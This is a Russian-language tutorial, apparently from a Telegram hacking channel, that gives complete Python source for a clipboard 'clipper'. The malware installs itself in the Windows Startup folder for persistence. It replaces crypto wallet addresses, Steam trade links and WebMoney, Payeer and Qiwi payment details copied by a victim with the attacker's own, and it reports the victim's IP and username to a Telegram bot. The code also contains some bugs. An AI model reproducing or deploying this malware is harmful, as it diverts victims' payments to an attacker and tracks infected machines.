Пишем свой клиппер для подмены кошельков на PYTHON [BlackCoding]
https://t.me/darkside_team
Привет хацкеры, сегодня покажу как собрать свой клиппер для подмены кошельков.
Нам потребуется: Python версии 3,6+
Скачать можно ТУТ
Функции подмены:
Подмена крипто-кошельков (Monero, BTC, BitcoinCash, LiteCoin, Ripple, Eth) Подмена Steam trade link Подмена WebMoney (WMZ, WMX, WMR, WMU) Подмена Q1w1 (+7, +3 и тд) Подмена Payeer Подмена DonationAlerts Подмена Qiwi.me
Функции клиппера:
Автозагрузка Отстук в телеграм IP жертвы UserName жертвы Проверка первый ли запуск
Нам понадобятся следующие библиотеки:
win32clipboard time threading os sys telebot shutil requests
Установить их можно командой pip install (в консоли CMD)
Приступим!
Для начала создадим своего бота у @BotFather
Далее идём в лс к своему боту и пишем: /start ну и test на всякий случай)
Потом идём к @id_chatbot и узнаём свой Chat ID
Дальше открываем IDE и начинаем кодить
Подключаем библиотеки:
Код:
import win32clipboard import time import threading import os import sys import telebot import shutil import requests
Объявляем переменные:
Код:
token = "ТОКЕНОТБОТА" bot = telebot.TeleBot(token) username = os.getlogin() start = '' #----------EDITING---------- btc = 'your_btc' eth = 'your_eth' ripple = 'your_ripple' btc_cash = 'your_btc_cash' litecoin = 'your_litecoin' monero ='your_monero' steamlink = 'steam' wmr = 'WebRu' wmz = 'WebDol' wmx = 'WebBit' wmu = 'WebUa' dona = 'donat' payeer = 'your_Payeer' qiwime = 'your_qiw1.me' qiwi = 'your_number' #----------EDITING----------
Код:
is_first = True
Проверяем первый ли это запуск
Код:
if os.path.isfile(os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup' + '\ '[0] + os.path.basename(sys.argv[0])) is False: shutil.copy2(sys.argv[0], os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup') else: is_first = False
Если в директории Startup нет нашего файл то запуск считается первым, и соответсвенно мы его туда добавляем.
Создаём функцию и цикл с названием clipper
Код:
def clipper(): while True:
Код:
win32clipboard.OpenClipboard() if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0: clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
Проверяем если у нас что-то в буфере обмены.
Далее будет много кода после кода объясню что он означает
Код:
if 25 <= len(clip_data) <= 34 and clip_data != btc and clip_data[0] == '1': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(btc, win32clipboard.CF_UNICODETEXT) elif len(clip_data) == 42 and clip_data != eth and clip_data[0:2] == '0x': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(eth, win32clipboard.CF_UNICODETEXT) elif 25 <= len(clip_data) <= 35 and clip_data != ripple and clip_data[0] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(ripple, win32clipboard.CF_UNICODETEXT) elif len(clip_data[len(clip_data)-42:len(clip_data)]) == 42 and clip_data != btc_cash and clip_data[len(clip_data)-42:len(clip_data)-41] == 'q': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(clip_data[0:len(clip_data)-42] + btc_cash, win32clipboard.CF_UNICODETEXT) elif len(clip_data) == 34 and clip_data != litecoin and (clip_data[0] == 'L' or clip_data[0] == '3'): win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(litecoin, win32clipboard.CF_UNICODETEXT) elif 95 <= len(clip_data) <= 106 and clip_data != monero and clip_data[0] == '4': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(monero, win32clipboard.CF_UNICODETEXT) elif 75 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(steamlink, win32clipboard.CF_UNICODETEXT) elif 74 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(steamlink1, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmr and clip_data[0] == 'R' or clip_data[0] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmr, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmz and clip_data[0] == 'Z' or clip_data[0] == 'z': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmz, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmx and clip_data[0] == 'X' or clip_data[0] == 'x': win32clipboard.EmptyClipboard()
крипто-кошельки
Вообщем первая строка проверяет в буфере обмена кошелёк BTC, таким образом:
Если в буфере обмена есть от 25 до 34 (или равным 34) символом, при том что первый символ равен 1:
То выполнять подмены с вашим кошельком (постарался сделать так что-бы было вам понятней)
Следующие строки кода:
Если в буфере 42 символа и первые два символа равны 0x:
То выполнять подмены с вашим эфир кошельком
И так с остальными крипто-кошельками
Код:
elif 75 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(steamlink, win32clipboard.CF_UNICODETEXT) elif 74 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r': win32clipboard.EmptyClipboard()
Строки выше проверяют наличие в буфере трейд ссылки стима и заменяют на вашу
Код:
elif 12<= len(clip_data) <= 13 and clip_data != wmr and clip_data[0] == 'R' or clip_data[0] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmr, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmz and clip_data[0] == 'Z' or clip_data[0] == 'z': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmz, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmx and clip_data[0] == 'X' or clip_data[0] == 'x': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmu and clip_data[0] == 'U' or clip_data[0] == 'u': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT)
Это проверяет наличие WebMoney кошелька, работает так:
Если в буфере от 12 до 13 символов и первые из них либо R Z X U:
То менять на ваши кошели
Код:
elif 37 <= len(clip_data) <= 50 and clip_data !=dona and clip_data[12] == 'd' and clip_data[13] == 'o' and clip_data[14] == 'n' and clip_data[20] == 'a' and clip_data[25] == 's': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(dona, win32clipboard.CF_UNICODETEXT)
Подмена DonationAlerts
Код:
elif 8 <= len(clip_data) <= 9 and clip_data != payeer and clip_data[0] == 'P' or clip_data[0] == 'p': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(payeer, win32clipboard.CF_UNICODETEXT)
Подмена Payeer
Код:
elif 10 <= len(clip_data) <= 36 and clip_data !=qiwime and clip_data[0] == 'h' and clip_data[8] == 'q' and clip_data[13] == 'm' and clip_data[14] == 'e': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(qiwime, win32clipboard.CF_UNICODETEXT)
Подмена qiwi.me
Так-с с подменами разобрались, теперь пишем вот так:
Код:
win32clipboard.CloseClipboard() time.sleep(0.25) clipper = threading.Thread(target=clipper) clipper.start()
Условно говоря это запуск нашего клиппера.
Код:
start += 'Is first start: ' + str(is_first) + '\n' r = requests.get('http://ip.42.pl/raw') ip = r.text
Первая строка кода выше: Проверка первый ли это запуск.
Вторая строка: Отправляет запрос на сайт http://ip.42.pl/raw и копирует ip жертвы
Третия строка: объявляет переменную ip с айпишником жертвы
Код: (НЕ ЗАБУДЬТЕ ВМЕСТО CHATID НАПИСАТЬ СВОЙ ID ЧАТА)
try: bot.send_message(CHATID, 'New User from: ' + ip + '\nUsername: ' + username + '\nStart: ' + start) except: print('.')
Пробуем отправить сообщение в бота о новой жертве
Пример сообщения:
Теперь можно собрать скрипт в .exe при помощи pyinstaller (Сюда не буду писать, погуглите это не сложно или поищите в прошлых статьях)
Ниже весь код:
import win32clipboard import time import threading import os import sys import telebot import shutil import requests #-----------Telegram BOT-----------# token = "ТОКЕН" bot = telebot.TeleBot(token) #-----------Telegram BOT-----------# username = os.getlogin() start = '' #--------------EDITING--------------# btc = 'testworking_btc' eth = 'testworking_eth' ripple = 'testworking_ripple' btc_cash = 'testworking_btc_cash' litecoin = 'testworking_litecoin' monero = 'testworking_monero' steamlink = 'steam' wmr = 'WebRu' wmz = 'WebDol' wmx = 'WebBit' wmu = 'WebUa' dona = 'donat' payeer = 'fakePayeer' qiwime = 'qiwitest' qiwi = 'number' #--------------EDITING--------------# is_first = True if os.path.isfile(os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup' + '\ '[0] + os.path.basename(sys.argv[0])) is False: shutil.copy2(sys.argv[0], os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup') else: is_first = False def clipper(): while True: win32clipboard.OpenClipboard() if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0: clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT) if 25 <= len(clip_data) <= 34 and clip_data != btc and clip_data[0] == '1': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(btc, win32clipboard.CF_UNICODETEXT) elif len(clip_data) == 42 and clip_data != eth and clip_data[0:2] == '0x': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(eth, win32clipboard.CF_UNICODETEXT) elif 25 <= len(clip_data) <= 35 and clip_data != ripple and clip_data[0] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(ripple, win32clipboard.CF_UNICODETEXT) elif len(clip_data[len(clip_data)-42:len(clip_data)]) == 42 and clip_data != btc_cash and clip_data[len(clip_data)-42:len(clip_data)-41] == 'q': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(clip_data[0:len(clip_data)-42] + btc_cash, win32clipboard.CF_UNICODETEXT) elif len(clip_data) == 34 and clip_data != litecoin and (clip_data[0] == 'L' or clip_data[0] == '3'): win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(litecoin, win32clipboard.CF_UNICODETEXT) elif 95 <= len(clip_data) <= 106 and clip_data != monero and clip_data[0] == '4': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(monero, win32clipboard.CF_UNICODETEXT) elif 75 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(steamlink, win32clipboard.CF_UNICODETEXT) elif 74 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(steamlink1, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmr and clip_data[0] == 'R' or clip_data[0] == 'r': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmr, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmz and clip_data[0] == 'Z' or clip_data[0] == 'z': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmz, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmx and clip_data[0] == 'X' or clip_data[0] == 'x': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT) elif 12<= len(clip_data) <= 13 and clip_data != wmu and clip_data[0] == 'U' or clip_data[0] == 'u': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT) elif 37 <= len(clip_data) <= 50 and clip_data !=dona and clip_data[12] == 'd' and clip_data[13] == 'o' and clip_data[14] == 'n' and clip_data[20] == 'a' and clip_data[25] == 's': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(dona, win32clipboard.CF_UNICODETEXT) elif 8 <= len(clip_data) <= 9 and clip_data != payeer and clip_data[0] == 'P' or clip_data[0] == 'p': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(payeer, win32clipboard.CF_UNICODETEXT) elif 10 <= len(clip_data) <= 36 and clip_data !=qiwime and clip_data[0] == 'h' and clip_data[8] == 'q' and clip_data[13] == 'm' and clip_data[14] == 'e': win32clipboard.EmptyClipboard() win32clipboard.SetClipboardText(qiwime, win32clipboard.CF_UNICODETEXT) win32clipboard.CloseClipboard() time.sleep(0.25) clipper = threading.Thread(target=clipper) clipper.start() start += 'Is first start: ' + str(is_first) + '\n' r = requests.get('http://ip.42.pl/raw') ip = r.text try: bot.send_message(CHATID, 'New User from: ' + ip + '\nUsername: ' + username + '\nStart: ' + start) except: print('.')
Dark $ide - Твоя Тёмная Сторона
Если хочешь предложить свой контенет пиши в бота: @ds_offer_robot